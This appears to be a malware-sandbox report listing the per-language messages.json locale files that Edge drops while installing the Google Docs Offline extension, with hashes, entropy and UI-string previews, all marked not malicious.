SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir1668_2124305844\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
Encrypted:	false
SSDEEP:	24:1HAowYuBPgoMC4AGehrgGm7tJ3ckwFrXnRs5m:GYsPgrCtGehkGc3cvXr
MD5:	76B59AAACC7B469792694CF3855D3F4C
SHA1:	7C04A2C1C808FA57057A4CCEEE66855251A3C231
SHA-256:	B9066A162BEE00FD50DC48C71B32B69DFFA362A01F84B45698B017A624F46824
SHA-512:	2E507CA6874DE8028DC769F3D9DFD9E5494C268432BA41B51568D56F7426F8A5F2E5B111DDD04259EB8D9A036BB4E3333863A8FC65AAB793BCEF39EDFE41403B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN. OLU.TUR".. },.. "explanationofflinedisabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Google Dok.manlar'. .nternet ba.lant.s. olmadan kullanmak i.in, .nternet'e ba.lanabildi.inizde Google Dok.manlar ana sayfas.nda Ayarlar'a gidin ve .evrimd... senkronizasyonu etkinle.tirin.".. },.. "explanationofflineenabled": {.. "message": ".nternet'e ba.l. de.ilsiniz. Ancak, yine de mevcut dosyalar. d.zenleyebilir veya yeni dosyalar olu.turabilirsiniz.".. },.. "extdesc": {.. "message": "Dok.man, e-tablo ve sunu olu.turun, bunlar. d.zenleyin ve g.r.nt.leyin. T.m bu i.lemleri internet eri.imi olmadan yapabilirsiniz.".. },.. "extname": {.. "message": "Google Dok.manlar .evrimd...".. },.. "learnmore": {.. "message": "Daha Fazla Bilgi".. },.. "popuphelptext": {.. "message": ".nternet ba.lant.n.z olsun veya olmas.n, nerede olursan.z olun yaz.n, d.zenl

